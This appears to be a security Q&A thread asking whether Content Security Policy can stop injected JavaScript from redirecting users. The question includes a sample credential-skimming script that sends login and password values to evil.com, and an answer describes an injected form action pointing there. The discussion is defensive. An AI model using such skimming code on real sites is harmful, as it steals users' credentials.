Following this question, is there a way to prevent this code from redirecting users to domains not whitelisted?

const form = document.getElementsByTagName('form')[0];

form.addEventListener('submit', stealCredentials);

function stealCredentials() {
    const login = document.getElementsByName('login')[0].value;
    const password = document.getElementsByName('password')[0].value;

    window.location.href = 'http://evil.com/?login=' + login + '&password=' + password

Is there a clean way to do it? Like Content Security Policy or something similar?

2 Answers 2


Sadly, it's not possible.

You can check that with the following HTML snippet where the default CSP directive is set to none (except script-src):

<meta http-equiv="Content-Security-Policy" content="default-src 'none'; script-src 'unsafe-inline'">
<script>window.location = '?' + Math.random();</script>

Since window.location is a non-configurable property, it's not possible to rewrite / proxy it to match your needs.

Note: it's possible to listen for the beforeunload event and trying to prevent it, but the user will most likely ignore the warning message that will show up.

  • Thank you for your answer. I find it a little concerning that CSP can be bypassed by something this simple. Feb 6, 2019 at 18:53

There is a CSP directive that prevents this, but it's probably not what you meant:

Content-Security-Policy: sandbox

This disables all JavaScript, making it impossible to redirect by assigning to window.location.

However, stealing passwords may be possible with an HTML injection attack even if you disable JavaScript. If an attacker can inject his own <form action="http://evil.com/"> tag, the credentials from the login form are sent to the attacker.

  • Thank you for your answer. I got HTML injection covered, but your example reminds me of something: An attacker can use JavaScript to edit the action attribute of the login form, thus posting its content to evil.com. Note that the form-action CSP can prevent that. Feb 6, 2019 at 18:58

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .